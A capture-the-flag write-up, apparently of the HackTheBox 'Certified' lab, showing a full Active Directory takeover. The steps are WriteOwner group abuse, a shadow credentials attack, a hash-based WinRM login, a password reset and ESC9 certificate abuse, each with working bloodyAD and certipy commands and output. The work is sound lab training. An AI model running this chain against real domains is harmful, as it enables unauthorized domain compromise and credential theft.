Overview

The machine starts by SMB and LDAP enumeration with provided credentials revealing judith.mader has WriteOwner over the Management group, so we take ownership and grant ourselves GenericAll to add ourselves then abuse GenericWrite over management_svc via shadow credentials attack to get its NT hash and winrm shell, management_svc has GenericAll over ca_operator so we change its password then use it to find ESC9 vulnerable template CertifiedAuthentication, we manipulate ca_operator UPN to administrator via management_svc GenericWrite and request a certificate then restore the UPN before authenticating to get Domain Admin

Enumeration

as usual we're gonna start with nmap scan

we've got DNS, Kerberos, RPC, LDAP, Kpasswd so it is obvious that this is an AD environment

  • Domanin name is certified.htb and he hostname is DC01
  • there is ADCS in place with the CA certified-DC01-CA
  • there is a 7 hours clock skew so sync up and generate krb5file for the kerberos

and we are ready to go

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ echo '10.129.231.186 DC01 DC01.certified.htb certified.htb' | sudo tee -a /etc/hosts
10.129.231.186 DC01 DC01.certified.htb certified.htb
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ sudo ntpdate DC01.certified.htb
2026-06-09 09:48:24.143231 (-0700) +25198.582027 +/- 0.038204 DC01.certified.htb 10.129.231.186 s1 no-leap
CLOCK: time stepped by 25198.582027
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ nxc smb 10.129.231.186 -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.231.186 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.186 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.129.231.186 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.231.186 445 DC01 [+] certified.htb\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf

As is common in Windows pentests, you will start the Certified box with credentials for the following account: Username: judith.mader Password: judith09

the user can connect to SMB and got read over some shares but they're all default shares so we can comeback for something like gpp and autologon but later lets see what else this user can do

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ nxc smb 10.129.231.186 -u 'judith.mader' -p 'judith09'
SMB 10.129.231.186 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.186 445 DC01 [+] certified.htb\judith.mader:judith09
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ nxc smb 10.129.231.186 -u 'judith.mader' -p 'judith09' --shares
SMB 10.129.231.186 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.186 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.129.231.186 445 DC01 [*] Enumerated shares
SMB 10.129.231.186 445 DC01 Share Permissions Remark
SMB 10.129.231.186 445 DC01 ----- ----------- ------
SMB 10.129.231.186 445 DC01 ADMIN$ Remote Admin
SMB 10.129.231.186 445 DC01 C$ Default share
SMB 10.129.231.186 445 DC01 IPC$ READ Remote IPC
SMB 10.129.231.186 445 DC01 NETLOGON READ Logon server share
SMB 10.129.231.186 445 DC01 SYSVOL READ Logon server share

LDAP is also valid so lets run bloodhound

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ nxc ldap 10.129.231.186 -u 'judith.mader' -p 'judith09'
LDAP 10.129.231.186 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.186 389 DC01 [+] certified.htb\judith.mader:judith09

and we got a lot of groups so lets take a look

Management Group

Pasted image 20260609145621.png and we've got a nice chain starting with Judith.Mader having WriteOwner over the Management group How to Abuse ?

  • we can add ourselves as the owner of this group
  • add any user we need to it including ourselves

so we replaced the old owner with ourselves

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ bloodyAD --domain certified.htb --host 10.129.231.186 -u judith.mader -p judith09 set owner Management judith.mader
[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on Management

Now we gave ourselves GenericAll over that group so we can add ourselves

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ bloodyAD --domain certified.htb --host 10.129.231.186 -u judith.mader -p judith09 add genericAll Management judith.mader
[+] judith.mader has now GenericAll on Management

then added ourselves to the group

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ bloodyAD --domain certified.htb --host 10.129.231.186 -u judith.mader -p judith09 add groupMember Management judith.mader
[+] judith.mader added to Management

Shell as management_svc

Pasted image 20260609145641.png Back to the chain, this Management group gives us an additional permission like GenericWrite over the user Management_SVC How to abuse it ?

  • we can change the user's password directly
  • we can try shadow credentials attack so we don't change the password

and we got the hash for that user management_svc without the need to change the password

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy shadow auto -account management_svc -dc-ip 10.129.231.186 -target-ip 10.129.231.186 -u judith.mader -p judith09
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'db113f562a4945bc990882265a38f134'
[*] Adding Key Credential with device ID 'db113f562a4945bc990882265a38f134' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID 'db113f562a4945bc990882265a38f134' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'management_svc@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'management_svc.ccache'
[*] Wrote credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

Usually these users (the ones with svc in their name) will have access to services like winrm cause they are used to manage some kind of service and the IT would need to troubleshoot it some time and as you can see we can winrm Pasted image 20260609145718.png

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ nxc winrm 10.129.231.186 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584
WINRM 10.129.231.186 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM 10.129.231.186 5985 DC01 [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 (Pwn3d!)

and we got the user flag ss_20260609_102630.png

Looking at the privileges and groups nothing suspicious

ca_operator User

Pasted image 20260609145816.png back to the chain, we got GenericAll over the user CA-Operator so we can abuse it the same way we abused management_svc or we can try the password change path this time and because there is a CA in place i always like to run SharpHound cause it is so much better in enumerating certificates than rusthound and bloodhound.py

First get a ticket to use it with bloodyAD cause it doesn't support PTH

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]                                                                                                                  10:55:21 [59/59]
└──╼ [★]$ getTGT.py certified.htb/management_svc@10.129.231.186 -hashes :a091c1832bcdd4677c28b5a6a1295584
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in management_svc@10.129.231.186.ccache
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ export KRB5CCNAME=management_svc@10.129.231.186.ccache

then change the password, but note that if you'll use bloodyAD with TGT you need to give the hostname as the --host not the IP and add the --dc-ip option

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ bloodyAD --domain certified.htb --host DC01.certified.htb -u management_svc -k --dc-ip 10.129.231.186 set password ca_operator 'Password123!'
[+] Password changed successfully!

now looking at bloodhound data, the user ca_operator can enroll in a tier zero template so lets use that user to find any vulnerable templates and maybe that template is one of them Pasted image 20260609151408.png

ESC9

so run certipy to find vulnerable templates

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy find -dc-ip 10.129.231.186 -u ca_operator -p 'Password123!' -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
[*] Checking web enrollment for CA 'certified-DC01-CA' @ 'DC01.certified.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260609105839_Certipy.txt'
[*] Wrote text output to '20260609105839_Certipy.txt'
[*] Saving JSON output to '20260609105839_Certipy.json'
[*] Wrote JSON output to '20260609105839_Certipy.json'

and as you can see the Zero Tier template i mentioned is vulnerable to ESC9 where there is no security extension and we can abuse it to get to the administrator

ESC9 vulnerabilities arise when a certificate template is explicitly configured not to include the szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) security extension in the certificates it issues. This extension, which contains the requester's SID, was introduced by Microsoft as part of the May 2022 "Certifried" updates (CVE-2022-26923 and KB5014754) to enable "strong certificate mapping". Strong mapping allows DCs to reliably and securely map a presented client certificate to a specific user or computer account in Active Directory using its SID.

for this to be exploited there is no option, either template is vulnerable to ESC6 too or StrongCertificateBindingEnforcement registery key on domain controllers must be 1 or 0

  • having the value 1 means it is a compatability mode and it has issue if the SID is absent it'll fall back to the UPN
  • having the value 0 meaning it is completely disabled and mapping isn't enforced

first we'll read the UPN for the user ca_operator to restore it later

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy account -u 'ca_operator' -p 'Password123!' -dc-ip 10.129.231.186 read -user ca_operator
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_operator':
    cn : operator ca
    distinguishedName : CN=operator ca,CN=Users,DC=certified,DC=htb
    name : operator ca
    objectSid : S-1-5-21-729746778-2675978091-3820388244-1106
    sAMAccountName : ca_operator
    userPrincipalName : ca_operator@certified.htb
    userAccountControl : 66048
    whenCreated : 2024-05-13T15:32:03+00:00
    whenChanged : 2026-06-09T17:58:13+00:00

and CA_Operator can't write over it self and I forgot about that so lets use managment_svc to write the UPN for this user instead

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy account -u 'ca_operator' -p 'Password123!' -dc-ip 10.129.231.186 -upn 'administrator' -user 'ca_operator' update
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName : administrator
[-] User 'CA_OPERATOR' doesn't have permission to update these attributes on 'ca_operator'

and now we've updated the UPN

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy account -u 'management_svc' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -dc-ip 10.129.231.186 -upn 'administrator' -user 'ca_operator' update
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName : administrator
[*] Successfully updated 'ca_operator'

and we got pfx for the administrator but we can't use it to authenticate just yet why ? cause if we tried to authenticate now, there is some confliction cause there is 2 objects having the same UPN which will cause confliction and make it fail

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy req -u 'ca_operator' -p 'Password123!' -dc-ip 10.129.231.186 -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

actually when i tried to authenticate to prove the point it worked and we got administrator, but I've seen this before in fluffy and we got error and we had to change the UPN back first but in fluffy we were abusing ESC16

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy auth -pfx administrator.pfx -username administrator -dc-ip 10.129.231.186 -domain certified.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Shell as Administrator

and we got root ss_20260609_112903.png

Beyond root

checking after the root, it actually got reverted on its own maybe there was a cleanup script so lets try it again but read before doing auth

now when i tried to do it again but making sure the cleanup script didn't run I've got this

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy account -u 'management_svc' -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.129.231.186 read -user ca_operator
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_operator':
    cn : operator ca
    distinguishedName : CN=operator ca,CN=Users,DC=certified,DC=htb
    name : operator ca
    objectSid : S-1-5-21-729746778-2675978091-3820388244-1106
    sAMAccountName : ca_operator
    userPrincipalName : administrator
    userAccountControl : 66048
    whenCreated : 2024-05-13T15:32:03+00:00
    whenChanged : 2026-06-09T18:38:57+00:00
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy auth -pfx administrator.pfx -username administrator -dc-ip 10.129.231.186 -domain certified.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator
[-] See the wiki for more information

so now I restored the original one and it worked so it was actually an issue not to revert but the cleanup script did that for us

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy account -u 'management_svc' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -dc-ip 10.129.231.186 -upn 'ca_operator' -user 'ca_operator' update
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName : ca_operator
[*] Successfully updated 'ca_operator'
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/certified]
└──╼ [★]$ certipy auth -pfx administrator.pfx -username administrator -dc-ip 10.129.231.186 -domain certified.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34